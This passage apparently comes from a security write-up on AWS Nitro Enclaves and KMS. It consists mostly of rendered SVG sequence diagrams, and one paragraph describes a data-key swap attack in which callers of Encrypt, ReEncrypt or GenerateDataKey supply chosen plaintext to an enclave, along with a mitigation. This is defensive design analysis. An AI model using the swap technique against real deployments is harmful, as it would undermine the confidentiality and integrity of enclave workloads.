<polygon points="272.000000,496.000000 260.000000,490.399994 260.000000,501.600006" fill="currentColor" transform="rotate(180.000000, 264.000000, 496.000000)"></polygon>
<polygon points="272.000000,688.000000 260.000000,682.400024 260.000000,693.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 688.000000)"></polygon>
<polygon points="392.000000,480.000000 380.000000,474.399994 380.000000,485.600006" fill="currentColor" transform="rotate(0.000000, 384.000000, 480.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,192.000000 492.000000,186.399994 492.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 192.000000)"></polygon>
<polygon points="504.000000,384.000000 492.000000,378.399994 492.000000,389.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 384.000000)"></polygon>
<polygon points="504.000000,640.000000 492.000000,634.400024 492.000000,645.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 640.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="48" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="56" y="4" fill="currentColor">k</text>
<text text-anchor="middle" x="64" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="64" y="276" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="4" fill="currentColor">r</text>
<text text-anchor="middle" x="72" y="132" fill="currentColor">s</text>
<text text-anchor="middle" x="72" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="72" y="324" fill="currentColor">(</text>
<text text-anchor="middle" x="72" y="564" fill="currentColor">(</text>
<text text-anchor="middle" x="80" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="80" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="80" y="324" fill="currentColor">E</text>
<text text-anchor="middle" x="80" y="532" fill="currentColor">D</text>
<text text-anchor="middle" x="80" y="564" fill="currentColor">E</text>
<text text-anchor="middle" x="88" y="132" fill="currentColor">o</text>
<text text-anchor="middle" x="88" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="88" y="324" fill="currentColor">,</text>
<text text-anchor="middle" x="88" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="88" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="88" y="580" fill="currentColor">i</text>
<text text-anchor="middle" x="96" y="132" fill="currentColor">r</text>
<text text-anchor="middle" x="96" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="96" y="324" fill="currentColor">C</text>
<text text-anchor="middle" x="96" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="96" y="564" fill="currentColor">,</text>
<text text-anchor="middle" x="96" y="580" fill="currentColor">n</text>
<text text-anchor="middle" x="104" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="104" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="104" y="324" fill="currentColor">)</text>
<text text-anchor="middle" x="104" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="104" y="564" fill="currentColor">C</text>
<text text-anchor="middle" x="104" y="580" fill="currentColor">s</text>
<text text-anchor="middle" x="112" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="112" y="276" fill="currentColor">E</text>
<text text-anchor="middle" x="112" y="564" fill="currentColor">2</text>
<text text-anchor="middle" x="112" y="580" fill="currentColor">t</text>
<text text-anchor="middle" x="120" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="120" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="120" y="532" fill="currentColor">s</text>
<text text-anchor="middle" x="120" y="564" fill="currentColor">)</text>
<text text-anchor="middle" x="120" y="580" fill="currentColor">e</text>
<text text-anchor="middle" x="128" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="128" y="532" fill="currentColor">w</text>
<text text-anchor="middle" x="128" y="580" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="132" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="136" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="136" y="580" fill="currentColor">d</text>
<text text-anchor="middle" x="144" y="132" fill="currentColor">=</text>
<text text-anchor="middle" x="144" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="144" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="152" y="132" fill="currentColor">e</text>
<text text-anchor="middle" x="152" y="276" fill="currentColor">=</text>
<text text-anchor="middle" x="152" y="580" fill="currentColor">o</text>
<text text-anchor="middle" x="160" y="132" fill="currentColor">n</text>
<text text-anchor="middle" x="160" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="160" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="160" y="580" fill="currentColor">f</text>
<text text-anchor="middle" x="168" y="132" fill="currentColor">c</text>
<text text-anchor="middle" x="168" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="168" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="176" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="176" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="176" y="580" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">d</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">(</text>
<text text-anchor="middle" x="184" y="532" fill="currentColor">a</text>
<text text-anchor="middle" x="184" y="580" fill="currentColor">E</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">k</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="192" y="532" fill="currentColor">c</text>
<text text-anchor="middle" x="192" y="580" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="132" fill="currentColor">,</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="532" fill="currentColor">k</text>
<text text-anchor="middle" x="200" y="580" fill="currentColor">C</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">P</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="580" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">,</text>
<text text-anchor="middle" x="216" y="532" fill="currentColor">p</text>
<text text-anchor="middle" x="224" y="4" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="224" y="276" fill="currentColor">P</text>
<text text-anchor="middle" x="224" y="532" fill="currentColor">r</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">c</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="532" fill="currentColor">v</text>
<text text-anchor="middle" x="248" y="4" fill="currentColor">l</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">)</text>
<text text-anchor="middle" x="248" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">a</text>
<text text-anchor="middle" x="256" y="532" fill="currentColor">n</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">v</text>
<text text-anchor="middle" x="264" y="532" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="4" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="180" fill="currentColor">G</text>
<text text-anchor="middle" x="272" y="228" fill="currentColor">{</text>
<text text-anchor="middle" x="272" y="372" fill="currentColor">D</text>
<text text-anchor="middle" x="272" y="532" fill="currentColor">e</text>
<text text-anchor="middle" x="272" y="628" fill="currentColor">D</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">{</text>
<text text-anchor="middle" x="280" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="280" y="372" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="532" fill="currentColor">d</text>
<text text-anchor="middle" x="280" y="628" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="288" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="288" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="288" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="228" fill="currentColor">=</text>
<text text-anchor="middle" x="296" y="372" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="628" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="180" fill="currentColor">r</text>
<text text-anchor="middle" x="304" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="372" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="484" fill="currentColor">e</text>
<text text-anchor="middle" x="304" y="628" fill="currentColor">y</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="312" y="228" fill="currentColor">n</text>
<text text-anchor="middle" x="312" y="372" fill="currentColor">p</text>
<text text-anchor="middle" x="312" y="484" fill="currentColor">c</text>
<text text-anchor="middle" x="312" y="628" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="372" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="484" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="628" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="676" fill="currentColor">f</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="228" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="372" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="484" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="628" fill="currentColor">(</text>
<text text-anchor="middle" x="328" y="676" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="180" fill="currentColor">D</text>
<text text-anchor="middle" x="336" y="228" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="372" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="484" fill="currentColor">k</text>
<text text-anchor="middle" x="336" y="628" fill="currentColor">c</text>
<text text-anchor="middle" x="336" y="676" fill="currentColor">i</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="344" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="372" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="420" fill="currentColor">{</text>
<text text-anchor="middle" x="344" y="484" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="628" fill="currentColor">m</text>
<text text-anchor="middle" x="344" y="676" fill="currentColor">l</text>
<text text-anchor="middle" x="352" y="36" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="372" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="420" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="484" fill="currentColor">C</text>
<text text-anchor="middle" x="352" y="628" fill="currentColor">k</text>
<text text-anchor="middle" x="352" y="676" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="180" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="360" y="372" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="420" fill="currentColor">k</text>
<text text-anchor="middle" x="360" y="484" fill="currentColor">)</text>
<text text-anchor="middle" x="360" y="628" fill="currentColor">_</text>
<text text-anchor="middle" x="360" y="676" fill="currentColor">r</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="180" fill="currentColor">K</text>
<text text-anchor="middle" x="368" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="368" y="372" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="420" fill="currentColor">}</text>
<text text-anchor="middle" x="368" y="628" fill="currentColor">i</text>
<text text-anchor="middle" x="368" y="676" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="376" y="372" fill="currentColor">d</text>
<text text-anchor="middle" x="376" y="628" fill="currentColor">d</text>
<text text-anchor="middle" x="384" y="36" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="180" fill="currentColor">y</text>
<text text-anchor="middle" x="384" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="384" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="384" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="84" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="180" fill="currentColor">(</text>
<text text-anchor="middle" x="392" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="392" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="392" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="84" fill="currentColor">C</text>
<text text-anchor="middle" x="400" y="180" fill="currentColor">c</text>
<text text-anchor="middle" x="400" y="228" fill="currentColor">E</text>
<text text-anchor="middle" x="400" y="372" fill="currentColor">,</text>
<text text-anchor="middle" x="400" y="484" fill="currentColor">P</text>
<text text-anchor="middle" x="400" y="628" fill="currentColor">2</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="408" y="180" fill="currentColor">m</text>
<text text-anchor="middle" x="408" y="228" fill="currentColor">C</text>
<text text-anchor="middle" x="408" y="372" fill="currentColor">E</text>
<text text-anchor="middle" x="408" y="628" fill="currentColor">,</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="416" y="180" fill="currentColor">k</text>
<text text-anchor="middle" x="416" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="416" y="372" fill="currentColor">C</text>
<text text-anchor="middle" x="416" y="628" fill="currentColor">E</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="84" fill="currentColor">,</text>
<text text-anchor="middle" x="424" y="180" fill="currentColor">_</text>
<text text-anchor="middle" x="424" y="228" fill="currentColor">)</text>
<text text-anchor="middle" x="424" y="372" fill="currentColor">1</text>
<text text-anchor="middle" x="424" y="628" fill="currentColor">C</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="84" fill="currentColor">d</text>
<text text-anchor="middle" x="432" y="180" fill="currentColor">i</text>
<text text-anchor="middle" x="432" y="228" fill="currentColor">,</text>
<text text-anchor="middle" x="432" y="372" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="628" fill="currentColor">1</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="440" y="180" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="228" fill="currentColor">d</text>
<text text-anchor="middle" x="440" y="628" fill="currentColor">)</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="84" fill="currentColor">}</text>
<text text-anchor="middle" x="448" y="180" fill="currentColor">,</text>
<text text-anchor="middle" x="448" y="228" fill="currentColor">k</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="180" fill="currentColor">E</text>
<text text-anchor="middle" x="456" y="228" fill="currentColor">2</text>
<text text-anchor="middle" x="464" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="180" fill="currentColor">C</text>
<text text-anchor="middle" x="464" y="228" fill="currentColor">}</text>
<text text-anchor="middle" x="472" y="36" fill="currentColor">1</text>
<text text-anchor="middle" x="472" y="180" fill="currentColor">2</text>
<text text-anchor="middle" x="480" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="480" y="180" fill="currentColor">)</text>
<text text-anchor="middle" x="488" y="4" fill="currentColor">K</text>
<text text-anchor="middle" x="496" y="4" fill="currentColor">M</text>
<text text-anchor="middle" x="504" y="4" fill="currentColor">S</text>
</g>

 </svg>
 
</div>

</div>

</div>
 <figcaption><span>Figure 3: Simple data swap attack and prevention.</span></figcaption>
 </figure>
<p>Passive attackers that can call <code>Encrypt</code> (or <code>ReEncrypt</code>) on a CMK can perform an even more severe
version of the attack above and swap the DK-ciphertext pair with a custom one, effectively providing
arbitrary plaintext to the enclave. The same issue applies if an attacker can call
<code>GenerateDataKey</code>. Note that some cases <a href="https://docs.aws.amazon.com/enclaves/latest/user/kms.html">may
require</a> authorization to these
operations for non-enclave entities, but this authorization should be revoked after the initial
setup.</p>

<figure>
<div class="goat svg-container ">
 
 <svg xmlns="http://www.w3.org/2000/svg" font-family="Menlo,Lucida Console,monospace" viewbox="0 0 536 713">
 <g transform="translate(8,16)">
<path d="M 256,48 L 496,48" fill="none" stroke="currentColor"></path>
<path d="M 264,96 L 272,96" fill="none" stroke="currentColor"></path>
<path d="M 288,96 L 296,96" fill="none" stroke="currentColor"></path>
<path d="M 304,96 L 312,96" fill="none" stroke="currentColor"></path>
<path d="M 320,96 L 328,96" fill="none" stroke="currentColor"></path>
<path d="M 336,96 L 344,96" fill="none" stroke="currentColor"></path>
<path d="M 352,96 L 360,96" fill="none" stroke="currentColor"></path>
<path d="M 368,96 L 376,96" fill="none" stroke="currentColor"></path>
<path d="M 384,96 L 392,96" fill="none" stroke="currentColor"></path>
<path d="M 400,96 L 408,96" fill="none" stroke="currentColor"></path>
<path d="M 416,96 L 424,96" fill="none" stroke="currentColor"></path>
<path d="M 432,96 L 440,96" fill="none" stroke="currentColor"></path>
<path d="M 448,96 L 456,96" fill="none" stroke="currentColor"></path>
<path d="M 464,96 L 472,96" fill="none" stroke="currentColor"></path>
<path d="M 480,96 L 488,96" fill="none" stroke="currentColor"></path>
<path d="M 496,96 L 504,96" fill="none" stroke="currentColor"></path>
<path d="M 56,144 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 56,192 L 64,192" fill="none" stroke="currentColor"></path>
<path d="M 72,192 L 80,192" fill="none" stroke="currentColor"></path>
<path d="M 88,192 L 96,192" fill="none" stroke="currentColor"></path>
<path d="M 104,192 L 112,192" fill="none" stroke="currentColor"></path>
<path d="M 120,192 L 128,192" fill="none" stroke="currentColor"></path>
<path d="M 136,192 L 144,192" fill="none" stroke="currentColor"></path>
<path d="M 152,192 L 160,192" fill="none" stroke="currentColor"></path>
<path d="M 168,192 L 176,192" fill="none" stroke="currentColor"></path>
<path d="M 184,192 L 192,192" fill="none" stroke="currentColor"></path>
<path d="M 200,192 L 208,192" fill="none" stroke="currentColor"></path>
<path d="M 216,192 L 224,192" fill="none" stroke="currentColor"></path>
<path d="M 232,192 L 248,192" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 104,240" fill="none" stroke="currentColor"></path>
<path d="M 360,240 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 520,240" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 496,288" fill="none" stroke="currentColor"></path>
<path d="M 56,336 L 64,336" fill="none" stroke="currentColor"></path>
<path d="M 80,336 L 88,336" fill="none" stroke="currentColor"></path>
<path d="M 96,336 L 104,336" fill="none" stroke="currentColor"></path>
<path d="M 112,336 L 120,336" fill="none" stroke="currentColor"></path>
<path d="M 128,336 L 136,336" fill="none" stroke="currentColor"></path>
<path d="M 144,336 L 152,336" fill="none" stroke="currentColor"></path>
<path d="M 160,336 L 168,336" fill="none" stroke="currentColor"></path>
<path d="M 176,336 L 184,336" fill="none" stroke="currentColor"></path>
<path d="M 192,336 L 200,336" fill="none" stroke="currentColor"></path>
<path d="M 208,336 L 216,336" fill="none" stroke="currentColor"></path>
<path d="M 224,336 L 232,336" fill="none" stroke="currentColor"></path>
<path d="M 240,336 L 248,336" fill="none" stroke="currentColor"></path>
<path d="M 256,336 L 264,336" fill="none" stroke="currentColor"></path>
<path d="M 272,336 L 280,336" fill="none" stroke="currentColor"></path>
<path d="M 288,336 L 296,336" fill="none" stroke="currentColor"></path>
<path d="M 304,336 L 312,336" fill="none" stroke="currentColor"></path>
<path d="M 320,336 L 328,336" fill="none" stroke="currentColor"></path>
<path d="M 336,336 L 344,336" fill="none" stroke="currentColor"></path>
<path d="M 352,336 L 360,336" fill="none" stroke="currentColor"></path>
<path d="M 368,336 L 376,336" fill="none" stroke="currentColor"></path>
<path d="M 384,336 L 392,336" fill="none" stroke="currentColor"></path>
<path d="M 400,336 L 408,336" fill="none" stroke="currentColor"></path>
<path d="M 416,336 L 424,336" fill="none" stroke="currentColor"></path>
<path d="M 432,336 L 440,336" fill="none" stroke="currentColor"></path>
<path d="M 448,336 L 456,336" fill="none" stroke="currentColor"></path>
<path d="M 464,336 L 472,336" fill="none" stroke="currentColor"></path>
<path d="M 480,336 L 488,336" fill="none" stroke="currentColor"></path>
<path d="M 496,336 L 504,336" fill="none" stroke="currentColor"></path>
<path d="M 48,368 L 72,368" fill="none" stroke="currentColor"></path>
<path d="M 56,400 L 72,400" fill="none" stroke="currentColor"></path>
<path d="M 56,464 L 64,464" fill="none" stroke="currentColor"></path>
<path d="M 72,464 L 80,464" fill="none" stroke="currentColor"></path>
<path d="M 88,464 L 96,464" fill="none" stroke="currentColor"></path>
<path d="M 104,464 L 112,464" fill="none" stroke="currentColor"></path>
<path d="M 120,464 L 128,464" fill="none" stroke="currentColor"></path>
<path d="M 136,464 L 144,464" fill="none" stroke="currentColor"></path>
<path d="M 152,464 L 160,464" fill="none" stroke="currentColor"></path>
<path d="M 168,464 L 176,464" fill="none" stroke="currentColor"></path>
<path d="M 184,464 L 192,464" fill="none" stroke="currentColor"></path>
<path d="M 200,464 L 208,464" fill="none" stroke="currentColor"></path>
<path d="M 216,464 L 224,464" fill="none" stroke="currentColor"></path>
<path d="M 232,464 L 248,464" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 496,512" fill="none" stroke="currentColor"></path>
<path d="M 264,560 L 272,560" fill="none" stroke="currentColor"></path>
<path d="M 288,560 L 296,560" fill="none" stroke="currentColor"></path>
<path d="M 304,560 L 312,560" fill="none" stroke="currentColor"></path>
<path d="M 320,560 L 328,560" fill="none" stroke="currentColor"></path>
<path d="M 336,560 L 344,560" fill="none" stroke="currentColor"></path>
<path d="M 352,560 L 360,560" fill="none" stroke="currentColor"></path>
<path d="M 368,560 L 376,560" fill="none" stroke="currentColor"></path>
<path d="M 384,560 L 392,560" fill="none" stroke="currentColor"></path>
<path d="M 400,560 L 408,560" fill="none" stroke="currentColor"></path>
<path d="M 416,560 L 424,560" fill="none" stroke="currentColor"></path>
<path d="M 432,560 L 440,560" fill="none" stroke="currentColor"></path>
<path d="M 448,560 L 456,560" fill="none" stroke="currentColor"></path>
<path d="M 464,560 L 472,560" fill="none" stroke="currentColor"></path>
<path d="M 480,560 L 488,560" fill="none" stroke="currentColor"></path>
<path d="M 496,560 L 504,560" fill="none" stroke="currentColor"></path>
<path d="M 256,592 L 280,592" fill="none" stroke="currentColor"></path>
<path d="M 312,624 L 320,624" fill="none" stroke="currentColor"></path>
<path d="M 264,640 L 280,640" fill="none" stroke="currentColor"></path>
<path d="M 0,672 L 48,672" fill="none" stroke="currentColor"></path>
<path d="M 48,672 L 256,672" fill="none" stroke="currentColor"></path>
<path d="M 256,672 L 504,672" fill="none" stroke="currentColor"></path>
<path d="M 504,672 L 520,672" fill="none" stroke="currentColor"></path>
<path d="M 0,240 L 0,672" fill="none" stroke="currentColor"></path>
<path d="M 48,16 L 48,240" fill="none" stroke="currentColor"></path>
<path d="M 48,240 L 48,288" fill="none" stroke="currentColor"></path>
<path d="M 48,288 L 48,368" fill="none" stroke="currentColor"></path>
<path d="M 48,368 L 48,672" fill="none" stroke="currentColor"></path>
<path d="M 48,672 L 48,688" fill="none" stroke="currentColor"></path>
<path d="M 72,368 L 72,400" fill="none" stroke="currentColor"></path>
<path d="M 256,16 L 256,48" fill="none" stroke="currentColor"></path>
<path d="M 256,48 L 256,144" fill="none" stroke="currentColor"></path>
<path d="M 256,144 L 256,224" fill="none" stroke="currentColor"></path>
<path d="M 256,256 L 256,272" fill="none" stroke="currentColor"></path>
<path d="M 256,304 L 256,320" fill="none" stroke="currentColor"></path>
<path d="M 256,352 L 256,512" fill="none" stroke="currentColor"></path>
<path d="M 256,512 L 256,592" fill="none" stroke="currentColor"></path>
<path d="M 256,592 L 256,672" fill="none" stroke="currentColor"></path>
<path d="M 256,672 L 256,688" fill="none" stroke="currentColor"></path>
<path d="M 280,592 L 280,640" fill="none" stroke="currentColor"></path>
<path d="M 504,16 L 504,240" fill="none" stroke="currentColor"></path>
<path d="M 504,240 L 504,672" fill="none" stroke="currentColor"></path>
<path d="M 504,672 L 504,688" fill="none" stroke="currentColor"></path>
<path d="M 520,240 L 520,672" fill="none" stroke="currentColor"></path>
<path d="M 256,272 L 256,280" fill="none" stroke="currentColor"></path>
<path d="M 256,296 L 256,304" fill="none" stroke="currentColor"></path>
<path d="M 256,320 L 256,328" fill="none" stroke="currentColor"></path>
<path d="M 256,344 L 256,352" fill="none" stroke="currentColor"></path>
<polygon points="64.000000,144.000000 52.000000,138.399994 52.000000,149.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 144.000000)"></polygon>
<polygon points="64.000000,336.000000 52.000000,330.399994 52.000000,341.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 336.000000)"></polygon>
<polygon points="64.000000,400.000000 52.000000,394.399994 52.000000,405.600006" fill="currentColor" transform="rotate(180.000000, 56.000000, 400.000000)"></polygon>
<polygon points="256.000000,192.000000 244.000000,186.399994 244.000000,197.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 192.000000)"></polygon>
<polygon points="256.000000,464.000000 244.000000,458.399994 244.000000,469.600006" fill="currentColor" transform="rotate(0.000000, 248.000000, 464.000000)"></polygon>
<polygon points="272.000000,96.000000 260.000000,90.400002 260.000000,101.599998" fill="currentColor" transform="rotate(180.000000, 264.000000, 96.000000)"></polygon>
<polygon points="272.000000,560.000000 260.000000,554.400024 260.000000,565.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 560.000000)"></polygon>
<polygon points="272.000000,640.000000 260.000000,634.400024 260.000000,645.599976" fill="currentColor" transform="rotate(180.000000, 264.000000, 640.000000)"></polygon>
<polygon points="328.000000,624.000000 316.000000,618.400024 316.000000,629.599976" fill="currentColor" transform="rotate(0.000000, 320.000000, 624.000000)"></polygon>
<polygon points="504.000000,48.000000 492.000000,42.400002 492.000000,53.599998" fill="currentColor" transform="rotate(0.000000, 496.000000, 48.000000)"></polygon>
<polygon points="504.000000,288.000000 492.000000,282.399994 492.000000,293.600006" fill="currentColor" transform="rotate(0.000000, 496.000000, 288.000000)"></polygon>
<polygon points="504.000000,512.000000 492.000000,506.399994 492.000000,517.599976" fill="currentColor" transform="rotate(0.000000, 496.000000, 512.000000)"></polygon>
<text text-anchor="middle" x="16" y="4" fill="currentColor">A</text>
<text text-anchor="middle" x="24" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="32" y="4" fill="currentColor">t</text>
<text text-anchor="middle" x="40" y="4" fill="currentColor">a</text>
